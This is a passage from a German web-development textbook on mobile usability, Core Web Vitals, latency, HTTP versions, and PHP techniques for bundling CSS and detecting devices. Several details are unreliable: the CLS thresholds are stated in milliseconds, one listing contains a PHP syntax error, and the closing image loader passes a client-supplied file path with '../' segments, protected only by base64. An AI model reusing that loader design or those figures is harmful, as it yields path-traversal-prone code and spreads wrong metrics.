            Das ist im ersten Moment einleuchtend, jedoch sollten Sie sich darüber im Klaren sein, dass ein User sein Smartphone üblicherweise nicht immer gleich (umklammert) hält. Vielmehr können Sie aus Abbildung 8.44 ableiten, dass User (offensichtlich) je nach Bedarf unterschiedlich greifen. Aus diesem Grund ist die Darstellung aus Abbildung 8.45 nur bedingt aussagekräftig. Dennoch dient sie einem anderen, wesentlich wichtigeren Zweck: der Bewusstseinsbildung, dass wir beim Webdesign sehr wohl darauf achten müssen, wo wir wichtige (Bedien-)Elemente einer mobilen Website platzieren, sodass der User diese gut erreichen kann.

            
                [image: Mit Vorsicht zu genießen: Die per Daumen erreichbaren Bereiche (einer durchschnittlich großen Hand) zeigen, wie sehr die Smartphone-Größe das Bedienverhalten der User beeinflussen muss. Dies gilt jedoch nur dann, wenn das Gerät tatsächlich mit der Hand umklammert gehalten wird.]

                Abbildung 8.45    
            Mit Vorsicht zu genießen: Die per Daumen erreichbaren Bereiche (einer durchschnittlich großen Hand) zeigen, wie sehr die Smartphone-Größe das Bedienverhalten der User beeinflussen muss. Dies gilt jedoch nur dann, wenn das Gerät tatsächlich mit der Hand umklammert gehalten wird.

            
            Wir können daher nur bedingt voraussagen, wie ein User mit seinem Endgerät und damit auch mit unserer Website umgeht – aber ein bisschen können wir das schon, denn je nach Sinn und Zweck der Website (die in weiterer Folge ja auch eine App sein könnte) sind wir durchaus in der Lage, ein paar Vorhersagen zu treffen.

            Gerne greift man an dieser Stelle auch auf Best Practices oder Design Guides für Apps zurück. Sprechen wir etwa von einem Buchungsformular, so können wir davon ausgehen, dass der User in Ruhe ist und das Gerät gut bedienen kann. Handelt es sich hingegen um eine Tracking- oder auch Fitness-Website, so wissen wir, dass der User entweder in Bewegung ist oder aufgrund von Anstrengung nur schlecht in der Lage ist, die Website ordentlich zu bedienen.

            Es ist also durchaus unsere Aufgabe, darüber nachzudenken, in welchem Umfang, an welchen Stellen und mit welchen Hilfsmitteln der User die Website bedienen (können) soll. Diese Punkte fallen in den Bereich des Interaktionsdesigns, dem wir uns in Kapitel 10, »Usability, User Experience und Barrierefreiheit«, widmen.

        
    


                    
                        
        8.7    Alles performt – optimiert geht’s schneller

        An dieser Stelle müssen Sie sich zunächst einer wichtigen Tatsache stellen: Die Usability lehrt uns, dass Performance ein Synonym für Qualität ist. Performt eine Website (oder eine App), so empfindet der User diese als qualitativ höherwertig. Auch wissen wir aus Usability-Untersuchungen, dass der Largest Contentful Paint (LCP) innerhalb von etwa 2,5 Sekunden dargestellt werden soll, um dem User eine gute User Experience zu ermöglichen (vgl. »Web Vitals« unter https://web.dev/vitals/).

        Unter dem LCP versteht man Bilder oder Videodaten, die erfahrungsgemäß die meiste Zeit zum Laden benötigen. Werfen wir also einen kurzen Blick auf die Core Web Vitals, veröffentlicht von der Entwicklergruppe des Chrome-Browsers (siehe https://web.dev). Sie definieren drei Kriterien für eine gelungene User Experience aus Sicht von Ladezeiten:

        
            [image: LCP (Maß für die Ladegeschwindigkeit einer Website), FID (Maß für die Reaktionsfähigkeit einer Website) und CLS (Maß für den Prozentsatz der Seiteninhalte, die sich bei der Arbeit mit der Seite verschieben) – drei Metriken und ihre Bestimmung.]

            Abbildung 8.46    
            LCP (Maß für die Ladegeschwindigkeit einer Website), FID (Maß für die Reaktionsfähigkeit einer Website) und CLS (Maß für den Prozentsatz der Seiteninhalte, die sich bei der Arbeit mit der Seite verschieben) – drei Metriken und ihre Bestimmung.

        
        Werfen wir einen kurzen Blick darauf, was diese drei Metriken aussagen und wie sie bestimmt werden:

        
            	
                LCP – Largest Contentful Paint: Dieser Wert gibt die Renderzeit des größten Text- oder Bildblocks im Viewport in Relation zu dem Zeitpunkt an, an dem der User die Seite zum ersten Mal aufgerufen hat. Ein guter LCP-Wert liegt bei bis zu 2,5 Sekunden; ab 4 Sekunden spricht man von einem schlechten LCP. Mehr dazu finden Sie unter https://web.dev/articles/lcp?hl=de.

            

            	
                FID – First Input Delay: Hier wird die Zeit gemessen, die vergeht, bis ein Browser in der Lage ist, über einen Event Handler auf die Interaktion des Users zu reagieren. Ein guter FID-Wert liegt bei bis zu 100 ms, schlecht wird’s bei 300 ms und mehr. Details finden Sie unter https://web.dev/articles/fid?hl=de.

            

            	
                CLS – Cumulative Layout Shift: Diese Metrik stellt die visuelle Stabilität einer Seite dar. Sie ist ein Maß dafür, wie oft ein User eine unerwartete Layoutverschiebung erleben muss. Gute Werte gehen bis zu 100 ms, schlechte beginnen bei 0,25 ms.

            

        

        Im Hinblick auf die Performance einer Seite ist natürlich der LCP interessant. Damit haben wir also einen Wert, nach dem wir uns richten müssen: Eine jede Seite unserer Website sollte maximal vier Sekunden (besser: 2,5 Sekunden) benötigen, um geladen zu sein. Denken Sie ein wenig an Ihre eigene Erfahrung, so sehen Sie rasch, dass vier Sekunden im mobilen Bereich eigentlich sogar sehr viel ist. Wer hat denn schon vier Sekunden Zeit? Ich nicht. Zumindest nicht, wenn ich in Bewegung bin, womit wir wieder beim Thema aus Abschnitt 8.6 wären.

        Somit sind wir mit der Frage konfrontiert, wie wir eine gute Performance unserer Seite zustande bringen. Dies führt uns aber zunächst zur viel grundlegenderen Frage: Woran könnte es denn scheitern bzw. woran scheitert es zumeist, wenn Seiten langsam geladen werden? Diese Frage können (und müssen) wir aus verschiedenen Blickwinkeln betrachten:

        
            	
                das Nadelöhr: das Netzwerk samt der Protokolle

            

            	
                das Hosting: die Serverumgebung und deren Last

            

            	
                das User-Umfeld: das Endgerät und der Client

            

        

        Eine Aussage, die man in unseren Kreisen oft hört, ist die, dass es ja unerheblich sei, wo eine Website gehostet wird, da ein Datenpaket immer über den schnellsten zur Verfügung stehenden Weg übertragen wird.

        Am zweiten Teil der Aussage ist zunächst nichts falsch, da hierfür sogenannte Router eingesetzt werden. Das Problem an der Sache ist nur, dass jeder Hop (Sprung) von einem Router zum nächsten Router eine gewisse Zeit benötigt – sei sie auch noch so kurz.

        Aber sehen wir uns das folgende Beispiel an. In diesem wird einerseits auf die Website der Berkeley University in Kalifornien/USA und andererseits auf die Website der Uni Krems in Österreich zugegriffen. Der Rechner, von dem ich die beiden Anfragen starte, steht in Linz in Österreich (ca. 120 km von Krems, aber unendlich weit von Berkeley entfernt), und der benötigte Netzwerkbefehl lautet Trace Route (Windows: tracert, macOS: traceroute). Je nach Anbindung (kleine Provider, Tier1, Tier2, Tier3 etc. – vgl. unsere Überlegungen aus Abschnitt 3.3.3) können sich auf dem Weg zum Zielserver einige wenige oder eben auch sehr viele weitere Router befinden.

        Über den Trace-Route-Befehl werden die Router angezeigt, die für die aktuelle Abfrage zum Einsatz kommen. Je mehr Router hier aufgelistet werden, desto mehr Hops sind erfolgt. Sie können sich gut vorstellen, dass es besser wäre, weniger oft hopsen zu müssen, um ans Ziel zu gelangen.

        Der Trace-Route-Befehl liefert uns folgende Informationen (siehe Abbildung 8.47):

        
            	
                In der ersten Spalte werden die Hops durchnummeriert, woran Sie ablesen können, wie viele Hops für eine Anfrage an einen Zielserver erforderlich waren (in unserem Fall: für eine Anfrage an denjenigen Server, der unsere Wunschdomain hostet).

            

            	
                Die Spalten 2 bis 4 repräsentieren die sogenannte Round Trip Time (RTT), die ein Indikator dafür ist, wie schnell (und zuverlässig) eine Netzwerkverbindung ist. Üblicherweise werden hier drei Zeiten aufgelistet, da ein Trace-Route-Befehl jeden Hop dreimal durchführt, um eine zuverlässige RTT angeben zu können.

            

            	
                In der letzten Spalte wird der aktuelle Router angegeben, der bei dem jeweiligen Hop angesprochen wird.

            

        

        
            [image: Eine Trace-Route-Anfrage an die Website der Berkeley University in Kalifornien]

            Abbildung 8.47    
            Eine Trace-Route-Anfrage an die Website der Berkeley University in Kalifornien

        
        Neben der Anzahl der Hops ist vor allem die Round Trip Time für einen schnellen Request an den Zielserver entscheidend (oder die Latenz, die die halbe Round Trip Time ist: die Verzögerung in eine Richtung). Die Round Trip Time hängt vor allem von der Anbindung des Users an das Internet ab: Ist der User über ein Fest- oder Kabelnetz angebunden, verwendet er ein WiFi oder handelt es sich um eine mobile Anbindung? Tabelle 8.6 liefert einen guten Überblick über Datenraten und Latenzzeiten.
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        Tabelle 8.6    
            Übersicht über die Datenraten und Latenzen je nach Mobilfunktechnik (Quelle: https://www.wachendorff-prozesstechnik.de/mobilfunk-technologie/)

        Nun müssen wir uns überlegen, wann eine solche Latenz auftritt. Die Antwort ist sehr ernüchternd, wenn wir den Gedanken ein wenig weiterverfolgen: Die Latenz (oder eben die RTT als der doppelte Wert der Latenz plus die (in der Regel kurze) Reaktionszeit des Servers) tritt offensichtlich immer dann auf, wenn ein System mit einem anderen System kommunizieren möchte:

        
            	
                Ein Client (Browser) muss eine Namensauflösung über einen DNS anstoßen.

            

            	
                Ein Client (Browser) stellt einen Request an einen Server (Webserver).

            

        

        Oder auch:

        
            	
                Ein Webserver stellt einen Kontakt zu einem Datenbankserver her, um beispielsweise Daten abzufragen.

            

            	
                Ein Webserver kommuniziert mit einem anderen Webserver, wie es etwa bei Bezahlsystemen oder Warenwirtschaftssystemen der Fall ist.

            

        

        Die Grundaussage ist also: Immer dann, wenn zwei Systeme miteinander kommunizieren, kommt es zu einer Latenz.

        Die nächste Frage ist nun, was die Latenz beeinflusst? Hier muss man ein wenig tiefer in der Technologie-Schatzkiste graben, um eine Antwort zu finden. Die Latenz ist von drei Faktoren abhängig:

        
            	
                von der Entfernung des Anfragesystems (typischerweise ein Client) zum Antwortsystem (typischerweise ein Server)
Wie wir bereits in Abschnitt 3.3.3 »Internet Server Provider sind das Tor zur Internetwelt« angesprochen haben, hängt die Latenz der Datenübertragung von der Entfernung und der Art des Übertragungsmediums (Lichtwellenleiter, Kupferkabel, Luft) ab: Zwar sind die Übertragungsgeschwindigkeiten bei Glasfaser und Kupfer etwa gleich (ca. 200.000 km/s), jedoch muss ein elektromagnetisches Signal über ein Kupferkabel wesentlich öfter regeneriert werden, was zu Verzögerungen führt.

            

            	
                vom verwendeten Protokoll, über das die beiden Systeme kommunizieren
Erfolgt die Kommunikation (wie im Web üblich), über HTTP, so ist die HTTP-Version entscheidend (HTTP/1.1 vs. HTTP/2), worüber wir uns in Abschnitt 3.2.1. »HTTP/1.1, HTTP/2 oder HTTP/3 und die Statuscodes« Gedanken gemacht haben. Wird HTTP/1.1 eingesetzt, so kann man circa sechs Abfragen zu einer gemeinsamen Abfrage zusammenfassen, aber eben nicht mehr. HTTP/2 hingegen kann einerseits Datenströme priorisieren und andererseits Abfragen zusammenfassen.

            

            	
                vom Antwortverhalten des Antwortsystems (typischerweise ein Server)
Hierunter kann man sich im übertragenen Sinne vorstellen, wie das Antwortsystem mit der Anfrage umgeht: Wird sie direkt beantwortet oder leitet es die Anfrage an weitere Systeme weiter?

            

        

        Unser Ziel muss also sein, die Anfragen an einen Server zu reduzieren, sodass sich die Latenzen nicht unnötig aufsummieren. Dies ist speziell dann der Fall, wenn wir es mit älteren Providern zu tun haben, die noch HTTP/1.1 einsetzen. Aber auch im Falle von HTTP/2 ist ein Reduzieren der Anfragen an den Server sinnvoll. Betrachten Sie eine Website und möchten Sie ein Gefühl dafür bekommen, wie groß die Last ist, die durch Anfragen an den Server hervorgerufen werden, so gibt die Netzwerkanalyse in den Entwicklertools eines Browsers Auskunft darüber (siehe Abbildung 8.48).

        In Abbildung 8.48 wird deutlich, wie die Seite der oberösterreichischen Landeshauptstadt Linz (www.linz.at) geladen wird (was natürlich für alle Websites, die mit HTTP/1.1 geladen werden, nahezu identisch abläuft):

        
            	
                Zunächst erfolgt ein Zugriff auf das Startdokument (die Index-Datei), indem kein Request auf ein spezielles Dokument erfolgt (siehe Spalte »Datei«): Diese Anfrage dauert 189 ms und liefert – wie wir wissen! – den der Seite zugrunde liegenden HTML-Code.

            

            	
                Sobald der Browser den HTML-Code verarbeitet hat, werden die benötigten Dateien (CSS- und JS-Dateien, Bilder etc.) geladen. In diesem Fall erfolgt dies paketweise, indem vier bis fünf Requests gleichzeitig abgesetzt werden. Dieses paketweise Abarbeiten ist ein guter Indikator dafür, dass HTTP/1.1 und nicht HTTP/2 verwendet wird. Den Beweis hierzu sehen Sie in Abbildung 8.49 im rechten Teil, wo die Anfrage an den Server dargestellt wird.

            

        

        
            [image: Linz ist die Hauptstadt von Oberösterreich und betreibt eine recht flotte Website: Es werden 15 Anfragen an den Server gestellt, die nach 700 ms abgearbeitet sind.]

            Abbildung 8.48    
            Linz ist die Hauptstadt von Oberösterreich und betreibt eine recht flotte Website: Es werden 15 Anfragen an den Server gestellt, die nach 700 ms abgearbeitet sind.

        
        
            [image: Da die Requests paketweise verarbeitet werden, haben wir ein gutes Indiz dafür, dass (das mittlerweile veraltete) HTTP/1.1 zum Einsatz gelangt.]

            Abbildung 8.49    
            Da die Requests paketweise verarbeitet werden, haben wir ein gutes Indiz dafür, dass (das mittlerweile veraltete) HTTP/1.1 zum Einsatz gelangt.

        
        Betrachten wir in Abbildung 8.50 zum Vergleich die Site der Napier University in Edinburgh/Schottland (www.napier.ac.uk), so sehen wir ein Beispiel, in dem HTTP/2 verwendet wird.

        
            [image: Die Website der Napier University wird mit HTTP/2 betrieben. Hier werden die Requests nicht paketweise abgesetzt, wie das im Fall von HTTP/1.1 zu beobachten ist.]

            Abbildung 8.50    
            Die Website der Napier University wird mit HTTP/2 betrieben. Hier werden die Requests nicht paketweise abgesetzt, wie das im Fall von HTTP/1.1 zu beobachten ist.

        
        In diesem Fall werden viele Requests gleichzeitig abgesetzt und verarbeitet, wodurch die Anzahl der zu ladenden Dateien (hier: 134 Anfragen) nicht mehr allzu sehr ins Gewicht fällt. Dennoch ist ein Zuviel an zu ladenden Dateien ein Problem, was Sie an der Ladezeit von 4,61 Sekunden erkennen.

        Fassen wir also zusammen, was zu tun ist:

        
            	
                Aufgrund der Latenzen, die von der Distanz Client–Server abhängen, sollten wir idealerweise immer einen Hosting-Provider nutzen, der sich in der Nähe unserer Zielgruppe befindet. Aus diesem Grunde werden global agierende Websites auch auf mehrere Server verteilt: auf einen in Europa, einen in Amerika usw., oder man wählt eine passende Region bei einem Cloud-Provider.

            

            	
                Da nicht wenige Provider mit HTTP/1.1 arbeiten, sollte die Anzahl der Anfragen an einen Server reduziert werden.

            

        

        Den ersten Punkt können wir als Webentwickler*innen nur bedingt beeinflussen. Wir können unsere Kunden zwar beraten und ihnen die Problematiken schildern (und vielleicht sogar Einfluss auf die Wahl des Providers nehmen), aber schlussendlich ist das eine Entscheidung, die der Kunde trifft.

        Den zweiten Punkt können wir jedoch sehr wohl beeinflussen, und dafür haben wir bereits einige Strategien entwickelt, die wir uns im Folgenden ansehen.

        
            8.7.1    Weniger Bilder laden

            Bilder können einerseits in Sprites (vgl. Abschnitt 8.5.3) zusammengefasst oder über das loading-Attribut (loading="lazy") eines <img> erst dann geladen werden, wenn sie im Viewport auftauchen. Weil man davon ausgehen kann, dass die meisten Probleme im Zusammenhang mit Ladevorgängen bei mobilen Endgeräten zu finden sind und dort naturgemäß die Bildschirme kleiner sind, sind die meisten Bilder wohl zunächst einmal nicht im Viewport. Sie wissen schon: Ausnahmen bestätigen die Regel, aber wir gehen jetzt einmal von der Mehrheit aus.

        
        
            8.7.2    CSS- und JavaScript-Dateien zusammenfassen

            Häufig tendieren Webentwickler dazu, CSS- und JavaScript-Code auf mehrere (viele?) Dateien aufzuteilen, was vor allem der Übersichtlichkeit dient. Der Code wird durch das Aufteilen nicht mehr (d. h., die Datenmenge bleibt in etwa gleich), aber die Menge an Dateien spielt eine Rolle. Aus diesem Grund sollte man das Aufteilen entweder lassen oder sich der serverseitigen Programmierung zuwenden.

            Beispielsweise können Sie mittels PHP die Inhalte der gewünschten CSS-Dateien zusammenfassen und diese als Antwort an den Client zurücksenden. Gehen wir davon aus, dass wir folgende CSS-Dateien laden möchten:

            <link rel="stylesheet" href="css/common.css">
<link rel="stylesheet" href="css/design.css">
<link rel="stylesheet" href="css/fonts.css">
<link rel="stylesheet" href="css/responsive.css">
<link rel="stylesheet" href="css/customer/indiv.css">


            Der folgende Code zeigt das Prinzip des Zusammenfassens mit PHP. Mithilfe des altbekannten <link> wird auf eine Stylesheet-Datei unter dem Pfad loader/cssloader.php verwiesen. Das mag im ersten Moment eigenwillig erscheinen, da ein PHP-Dokument ja eben kein CSS-Dokument ist. Wie Sie jedoch wissen, ist nicht der Dateiname entscheidend, sondern das, was sich hinter (oder in) dieser Datei verbirgt.

            <link rel="stylesheet" href="loader/cssloader.php">


            Ein beispielhafter (zwar funktionsfähiger, aber dennoch verbesserungswürdiger) PHP-Code wäre nun etwa:

            <?php
$pfade = ["css/common.css", "css/design.css", "css/fonts.css",  
"css/responsive.css", "css/customer/indiv.css"];
$csscode = "";
foreach($pfade as $pfad) { $csscode.= file_get_contents($pfad)."\r\n"; }
header("Content-type: text/css");
echo($csscode);
?>


            Listing 8.29    
            Serverseitig werden sämtliche CSS-Dateien zu einer einzigen Ausgabe zusammengefasst.

            Der Code zeigt das Prinzip:

            
                	
                    Zunächst werden in einem Array ($pfade) sämtliche Pfade zu den gewünschten CSS-Dateien gesammelt.

                

                	
                    Danach wird eine Variable $csscode mit einem leeren String als Inhalt erzeugt.

                

                	
                    In der darauf folgenden Schleife (foreach) werden sämtliche Einträge des Arrays $pfade Schritt für Schritt durchgegangen, wobei der Inhalte einer jeden Datei (mittels file_get_contents) eingelesen, mit einem Zeilenumbruch (\r\n) versehen und ans Ende der Variable $csscode angehängt wird.

                

                	
                    Danach wird der Server angewiesen, so zu tun, als wäre der folgende Output CSS-Code (header("Content-type: text/css")).

                

                	
                    Schlussendlich wird der ganze CSS-Code, der sich nun in der Variable $csscode befindet, in den Ausgabestrom des Webservers geschrieben (echo).

                

            

            Somit produziert der Server einen CSS-Code, den der Client dann als solchen weiterverarbeiten kann. Dieses Prinzip würde natürlich gleichermaßen für JavaScript-Dateien funktionieren (header("Content-type: text/javascript")). Die Krux daran ist, dass man sich mit PHP (oder einer anderen serverseitigen Sprache) anfreunden muss.

            Alternativ können Sie auch auf gängige Frontend-Werkzeuge zurückgreifen, etwa auf webpack (https://webpack.js.org/) oder Vite (https://vitejs.dev/).

            
                [»]  Verbesserungswürdiger Code

                Der obige Code ist deshalb verbesserungswürdig, da noch überprüft gehört, ob es sich bei den eingelesenen Dateien auch wirklich um CSS-Dateien handelt. Hat man nämlich Dateien »eingeschmuggelt« bekommen, so läuft man hier schnell Gefahr, Schadcode einzulesen – und das will man sicherlich nicht. Wie Sie sich absichern können, zeigt der folgende Code.

            

            Die verbesserte Version des Codes wäre:

            <?php
$pfade = ["css/common.css", "css/design.css", "css/fonts.css",  
"css/responsive.css", "css/customer/indiv.css"];
$csscode = "";
foreach($pfade as $pfad) {
  $mime = mime_content_type($pfad);
  if($mime=="text/css") {
    //nur dann, wenn es tatsächlich eine CSS-Datei ist, wird der Inhalt 
    //eingelesen
    $csscode.= file_get_contents($pfad)."\r\n";
  }
}
header("Content-type: text/css");
echo($csscode);
?>


            Listing 8.30    
            Die verbesserte Version überprüft nun auch den Content-Typ.

        
        
            8.7.3    Weitere Tipps

            Was können Sie noch tun, um eine Website performanter zu machen? Hier sind ein paar Tipps:

            
                	
                    Greifen Sie nicht auf Content Delivery Networks (CDN) zurück, wenn es um das Laden von Bibliotheken (z. B. jQuery o. Ä.) oder Schriften geht: Im Fall von HTTP/1.1 werden die gleichzeitigen Requests immer pro Subdomain gerechnet – ein CDN ist jedoch selten Ihr Server und erzeugt somit eine zusätzliche Wartezeit.

                

                	
                    Verwenden Sie base64-codierte Bildinhalte anstelle von Bildern, die über einen Request geladen werden (vgl. Abschnitt 5.4.3 »Listen«).

                    
                        [»]  Serverseitige base64-Kodierung

                        Um Bilder serverseitig automatisiert in base64-kodierte Inhalte zu konvertieren, könnten Sie ebenfalls PHP einsetzen, jedoch ist der Programmieraufwand hierfür um einiges größer als beim Zusammenfassen von CSS- oder JavaScript-Dateien.

                    

                

                	
                    Reduzieren Sie die Datenmenge von Dateien:

                    
                        	
                            Verwenden Sie je nach Bildinhalt immer die geeigneten Bildformate: JPEG, wo JPEG sinnvoll ist, GIF, wo GIF sinnvoll ist, usw.

                        

                        	
                            Minifizieren Sie Dateien, indem Sie unnötige Zeilenumbrüche und Kommentare entfernen: Auch hier kann Ihnen die serverseitige Programmierung hilfreich zur Seite stehen, indem Sie etwa den PHP Minifier/Compressor (https://php-minify.com/) verwenden.

                        

                    

                

            

        
    


                    
                        
        8.8    Über den Tellerrand geblickt: Fortgeschrittene Themen

        Wenn Sie sich das Wissen um und die Herangehensweise zu Responsive Webdesign noch einmal in Erinnerung rufen, so bekommen Sie schnell das Gefühl, dass dies ein rein clientseitiges Thema ist: Mithilfe von HTML und CSS erzeugt man die Inhalte, generiert Grid-Systeme, kann mithilfe von Media Queries entscheiden, unter welchen Voraussetzungen welches Layout zum Einsatz kommt usw.

        JavaScript wiederum hilft uns immer dann aus der Patsche, wenn wir mit HTML und CSS an unsere Grenzen stoßen, wie dies etwa beim Tabellenlayout der Fall war. Natürlich nutzen wir JavaScript auch immer dort, wo der User und die Interaktion mit ihm ins Spiel kommen. Erst ganz zum Schluss – und zwar speziell beim Thema Performance – gab’s einen kleinen, aber deutlichen Hinweis in Richtung serverseitige Programmierung. Offensichtlich können wir im Backend (also auf der Serverseite) Vorkehrungen treffen, sodass es im Frontend (also auf der Clientseite) besser und glatter läuft.

        Begeben wir uns also gedanklich noch einmal zurück zum Anfang: Mithilfe von CSS konnten wir Grids einsetzen und mithilfe von Media Queries das Layout (respektive die Umbruchpunkte) definieren, sodass sich das Layout an die Gegebenheiten des Ausgabegeräts des Users anpasst: »an die Gegebenheiten des Ausgabegeräts … anpasst« Hm, und was wäre, wenn das gar nicht notwendig wäre? Wenn wir es irgendwie erreichen würden, dass bereits das Backend einen Code ausliefert, der perfekt zum Ausgabegerät passt? Ohne dass später noch (großartige) Anpassungen notwendig sind? Das wäre doch fein!

        Stellen wir uns also folgenden Fall vor: Angenommen, ein Backend erfährt auf irgendeine Art und Weise, welches Gerät ein User verwendet (beispielsweise ein iPhone 15). Dann könnte ein solches Backend – beispielsweise über eine Datenbank – die Größen- und Auflösungseigenschaften dieses Geräts auslesen und mittels serverseitiger Programmierung die Website bereits so optimieren, dass eine Anpassung auf der Clientseite gar nicht mehr notwendig ist (weil ja bereits alles passt).

        Die Frage ist nun: Wie kann ein Backend erfahren, welches Gerät der User nutzt? Nun, dazu müssen wir uns einmal damit auseinandersetzen, welche Informationen ein Client einem Server bei einem Request übergibt. Das wäre ein erster Ansatzpunkt. Auf diese Informationen können wir als Entwickler zunächst einmal relativ einfach zugreifen, indem wir uns in der Entwicklerkonsole die Anfragekopfzeilen bei einem Request an einen Server ansehen.

        Weil uns jedoch im Fall von Smartphones eine solche Entwicklerkonsole nicht zur Verfügung steht, müssen wir auf die serverseitige Programmierung zurückgreifen. Lassen Sie uns das kurz demonstrieren: Mithilfe von PHP kann man auf die Anfragedaten über das Array $_SERVER zugreifen. Dort sind vor allem die Einträge zum User Agent interessant, wie Sie in Abbildung 8.51 sowie in Abbildung 8.52 sehen.

        
            8.8.1    Device Detection vs. Feature Detection

            Ganz allgemein unterscheidet man zwei Herangehensweisen:

            
                	
                    Feature Detection: Sie ermittelt auf der Clientseite die Möglichkeiten des Ausgabegeräts.

                

                	
                    Device Detection: Sie ermittelt (über eine Gerätedatenbank) auf der Serverseite die Möglichkeiten des Ausgabegeräts.

                

            

            Die zweite Variante ist um einiges aufwendiger, da einerseits eine Gerätedatenbank vorhanden sein muss und andererseits ausreichend Informationen zum Endgerät des Users übermittelt werden müssen. In unserem Fall (siehe Abbildung 8.52) wäre das nicht möglich gewesen, da insbesondere im Fall von Android-basierten Geräten eine unglaubliche Vielfalt an Displaygrößen herrscht – unabhängig davon, welche Android-Version verwendet wird.

            
                [image: Die Anfragekopfzeilen beinhalten all die Daten, die ein Client einem Server preisgibt. Aus diesen Daten lassen sich erste Schlüsse ziehen, welches Gerät der User verwendet.]

                Abbildung 8.51    
            Die Anfragekopfzeilen beinhalten all die Daten, die ein Client einem Server preisgibt. Aus diesen Daten lassen sich erste Schlüsse ziehen, welches Gerät der User verwendet.

            
            Betrachtet man die Daten des User-Agents genauer, so findet man darin die Information über das verwendete Betriebssystem (in Abbildung 8.51: macOS X 10.15, in Abbildung 8.52: Android 10).

            Nun kann man also wie folgt argumentieren: Handelt es sich um ein Gerät, dessen Betriebssystem entweder iOS oder Android ist, so muss es sich um ein mobiles Endgerät handeln (andere mobile Betriebssysteme sind nicht (mehr) erwähnenswert) – wenn nicht, dann ist es ein stationäres Gerät. Damit sind wir einen Schritt weiter.

            
                [image: Die Anfragekopfzeilen für ein mobiles Endgerät: Hier wird offensichtlich ein Android-basiertes Gerät verwendet.]

                Abbildung 8.52    
            Die Anfragekopfzeilen für ein mobiles Endgerät: Hier wird offensichtlich ein Android-basiertes Gerät verwendet.

            
            Wie sieht es nun mit den Informationen zur Auflösung des Bildschirms aus? Auf diese könnten wir mit JavaScript zugreifen, jedoch ist JavaScript erst dann verfügbar, wenn der erste Response vom Server stattgefunden hat. Mit anderen Worten, unser System müsste prüfen, ob es sich um ein mobiles oder ein stationäres Gerät handelt:

            
                	
                    stationäres Gerät: Website responsiv ausliefern

                

                	
                    mobiles Gerät: eine kleine, schnelle Seite ausliefern, die mittels JavaScript ermittelt, welche Bildschirmgröße und welche Pixeldichte vorhanden ist. Danach einen weiteren Request an den Server schicken, sodass dieser mit den nun vorhandenen Daten die optimale Seite zusammenbasteln kann.

                

            

            Einen möglichen Beispielcode sehen Sie im Folgenden für sowohl die index.php als auch für die (hier verwendete) featuredetection.php.

            
                index.php

                Zunächst wird geprüft, ob Informationen zum User-Agent vorhanden sind. Ist dies der Fall, dann wird in diesen Informationen nach dem Text »Android« oder »iOS« (jeweils in Kleinbuchstaben) gesucht. Wird man fündig, so leitet die Seite auf die Seite featuredetection.php weiter, die die Breite, Höhe und Pixeldichte des Geräts des Users ausliest und diese wiederum (in Form von GET-Daten) an die Seite index.php zurückliefert.

                Kann die Seite index.php auf diese Daten zugreifen, so werden die Breite, Höhe und Pixeldichte in den sogenannten Session-Daten gespeichert, auf die wiederum sämtliche Seiten der Website zugreifen können. Mit anderen Worten, Breite, Höhe und Pixeldichte stehen dann während der gesamten Nutzung der Site für jeden Nutzer ständig bereit. Das ermöglicht uns bei der Webentwicklung in weiterer Folge, dass beispielsweise CSS-Regeln auf diesen Informationen aufbauen.

                <?php
session_start();
$_SESSION["devicewidth"] = null;
$_SESSION["deviceheight"] = null;
$_SESSION["pixeldensity"] = null;
 
if(isset($_SERVER["HTTP_USER_AGENT"])) {
  $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  if(str_contains($ua,"android") || str_contains($ua,"ios")) {
    if(count($_GET)==0 || !isset($_GET["detected"])) {
      header("Location: featuredetection.php");
    }
    else {
      $_SESSION["devicewidth"] = intval($_GET["w"]);
      $_SESSION["deviceheight"] = intval($_GET["h"]);
      $_SESSION["pixeldensity"] = floatval($_GET["r"]);
    }
  }
}
?>


                <!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<title>Meine Website</title>
</head>
<body>
    <h1>Willkommen</h1>
    <p>Hallo Welt!</p>
</body>
</html>


                Listing 8.31    
            Serverseitig wird auf das genutzte Betriebssystem überprüft.

            
            
                featuredetection.php

                <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Feature Detection</title>
    <script>


                        document.addEventListener("DOMContentLoaded",function() {
            let w = window.screen.width; //Bildschirmbreite
            let h = window.screen.height; //Bildschirmhöhe
            let r = window.devicePixelRatio; //Device-Pixel-Ratio
            document.location.href="index.php?detected=1&w="+w+"&h="+h+"&r="+r;
        });


                    </script>
</head>
<body>
</body>
</html>


                Listing 8.32    
            Ein beispielhafter Code für eine Feature Detection

                Eine serverseitig generierte CSS-Regel könnte nun auf die Session-Informationen zugreifen, aber ebenso könnten Bilder und weitere Medien serverseitig gleich auf die korrekte Größe zugeschnitten werden, sodass eine weitere Skalierung eben nicht mehr notwendig wird. Das sehen Sie im folgenden Abschnitt.

            
            
                featuredetected.css.php (CSS-Daten)

                <?php
header("Content-type: text/css");
session_start();
if(!is_null($_SESSION["devicewidth"])) {
?>


                .bild {
  width:<?php echo(intval($_SESSION"["devicewidth"]/2));?>px;
  aspect-ratio:1;
  border-radius:50%;
}


                <?php } else { ?>


                .bild {
  width:80vw;
  height:50vh;
}


                <?php } ?>


                .bild {
    display:block;
    object-fit:cover;
    object-position:center;
    margin:1em auto;
}


                Listing 8.33    
            Serverseitige Bestimmung von Bildbreiten aufgrund der Viewport-Größe des User-Geräts

                Das Ergebnis unseres kleinen Testbeispiels sehen Sie in Abbildung 8.53.

                
                    [image: Mit der Feature Detection werden die Breite und Höhe (sowie die Pixeldichte) ermittelt, sodass serverseitig darauf reagiert werden kann.]

                    Abbildung 8.53    
            Mit der Feature Detection werden die Breite und Höhe (sowie die Pixeldichte) ermittelt, sodass serverseitig darauf reagiert werden kann.

                
                Noch schöner wäre es, wenn das Bild auch gleich in der richtigen Größe erschiene. Aus das wäre serverseitig (mit etwas Aufwand) realisierbar. Zunächst darf das Bild einmal nicht sofort geladen werden, sondern es muss eine entsprechende PHP-Datei aufgerufen werden, an die man – idealerweise verschlüsselt – die benötigten Informationen übergibt: Welches Bild soll auf welche Größe (Breite und/oder Höhe) gebracht werden?

                <img src="pic.php?<?php echo(base64_encode("path=../../medien/faces/face0.jpg&w=".$_SESSION["devicewidth"]/2)); ?>" class="bild" alt="Uwe Mutz">


                Wie Sie sehen, werden mithilfe von GET-Daten folgende Informationen übergeben:

                
                    	
                        "path=../../medien/faces/face0.jpg" → Diese Information stellt den Bildpfad dar.

                    

                    	
